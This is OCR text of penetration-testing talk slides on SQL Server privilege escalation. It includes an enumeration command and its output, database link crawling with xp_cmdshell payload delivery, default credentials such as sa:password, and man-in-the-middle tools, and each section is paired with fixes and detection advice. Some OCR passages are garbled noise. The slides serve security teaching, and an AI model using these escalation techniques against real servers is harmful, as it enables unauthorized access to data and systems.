[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed

[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No

[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server4. mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes

[*]
[*] 3 of 5 SQL Server instances could be accessed.

[*] End Time: 04/01/2014 10:02:00  [*] Total Time: 00:02:00

[*]




therAttacik

AUCEMAUINES;

&

PS C:\ Get-SqlServer-Escalate-CheckAccess -ShowSum | export-csv c:\temp\sql-server-excessive-privs.csv
[*]
[*] Start Time: 04/01/2014 10:00:00

[*] Domain: mydomain.com

[*] DC: dcl.mydomain.com

[*] Getting list of SQL Server instances from DC as mydomainmyuser...

[*] 5 SQL Server instances found in LDAP.

[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
[*]
[-] Failed - serverl.mydomain.com is not responding to pings

[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed

[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: Nog
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes

[*]
[*] 3 of 5 SQL Server instances could be accessed.
[*] End Time: 04/01/2014 10:02:00  [*] Total Time: 00:02:00

[*]
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H ©- & = sql-server-excessive-privs.csv - Excel T E - O X
HOME INSERT PAGE LAYOUT FORMULAS DATA REVIEW VIEW Scott Sutherland ~
Al | X fe IpAddress A
A B < D G H | 1
1 |IpAddress lSenrer Instance sQLver OsVer Sysadmin SwvcAcct SvclsDA IsClustered DBLinks
2 |192.168.1.103 server3.mydomain.com server3.mydomain.com, 1433 2005 Express Edition LocalSystem Mo Mo 2
3 1192.168.1.103 server3.mydomain.com server3.mydomain.com\SQLEXPRESS 2005 Express Edition LocalSystem Mo No 2
4 |192.168.1.104 serverd.mydomain.com serverd.mydomain.com\AppData 2008 Express Edition (64-bit) SQLSve Yes Mo o
5
&
Fi
[+]
LI ‘ sql-server-excessive-privs ‘ ® | []

READY

iz

P =-—1—+ 100%
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What’s the fix?

e Don’t provide the “Domain Users” group with
privileges to log into any SQL Server

* Do remove the default login associated with
the “BUILTIN\Users” group

netspr
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Chaining & Excessive Privileges




What the issue?

e Database links are being configured with
excessive privileges

e Database links can be crawled via
OPENQUERY

e xp_cmdshell can be used via OPENQUERY

netspr
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Why is that a problem?

e Attackers can often gain sysadmin privileges by
crawling database link chains

 Move from low value database to high one

e Take over Windows server via xp_dirtree or
xp_cmdshell

e Cached credentials can be recovered by admins netSP©
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What are the attack requirements?

e SQL injection or a direct connection with
credentials to log into SQL Server

e One or more database links

* Database links preconfigured with sysadmin
privileges

netspr
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Deliver payload

via xp_cmdshell
and powershell
injection

sm ?
Injection
& ] A

Double nested
linked query as
s1admin

Linked query
as s2user

Nested linked
query as
s3user




Penetration Test Stats

* Database links exist (and can be crawled) in
about 50% of environments we’ve seen

 The max number of hops we’ve seen is 12

e The max number of server crawled is 226

 Usually executed through SQL injection HEtSP©
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New Tools Released

* PowerShell
— Get-MSSQLLinkPasswords.psm1
By Antti Rantasaari

Old Tools Released

* Metasploit
—mssql_linkcrawler.rb
—mssqgl_linkcrawler_sqli.rb

netspr
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metasploit v4.4.8—dev [core:4.4 api:=1.81]
844 exploits — 488 auxiliary — 149 post
258 payleoads — 27 encoders — 8 nops




What’s the fix?

* Don’t use database links if you don’t need
them

* Do configure them with least privilege

* Do configure them to inherit the privileges of
the current login when possible

netspr
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Weak or Default
Passwords
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What'’s the issue?

e Default sa account password

e Default vendor account passwords

* Weak passwords
— test:test
— sa:password

— Etc... netSP©

RISK COMPLIANCE SECURITY



HONV EakieDElauiittRaSSWEHE'S
Why is it a problem?

 Attackers can quickly gain unauthorized
access to servers and data

* Tools for attack are everywhere
— Metasploit
— Hydra
—SQLPing3

~ e netSP©
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What are the attack requirements?

e List of SQL Servers

— Usually requires scanning

netspr
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What’s the fix?

Do set strong password policies

— They can be inherited from the domain

* Do change default vendor passwords

Do disable the default sa account

* Do enforce development environments netSP©
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What’s the issue?

* By default, database communications are not
encrypted

netspr
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What is it a problem?
* Sensitive data can be exposed via MITM

* SQL injection via MITM

— Can result in database and system compromise

* Free tools available
— Atticuss/SQLViking (Go see the talk!)

— Ettercap and fancy filters netSP©

RISK COMPLIANCE SECURITY



https://github.com/Atticuss
https://github.com/Atticuss/SQLViking

A ONN OGN NSPOINENCRILION
What are the attack requirements?

 Man in the middle position or local admin on
the client/server

netspr
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What'’s the fix??

* Do enable SSL encryption
http://support.microsoft.com/kb/316898




What can be done?




What Canhedones:

Prevent Unauthorized Access

* Enforce least privilege everywhere

e Use secure impersonation methods

* Parameterize queries in stored procedures

Detect Attempted Attacks

* Profiler (server access)

* DML Triggers (data mods)

 DDL Triggers (structure mods)

* SQL Server Audit ( server/database level)

netspr
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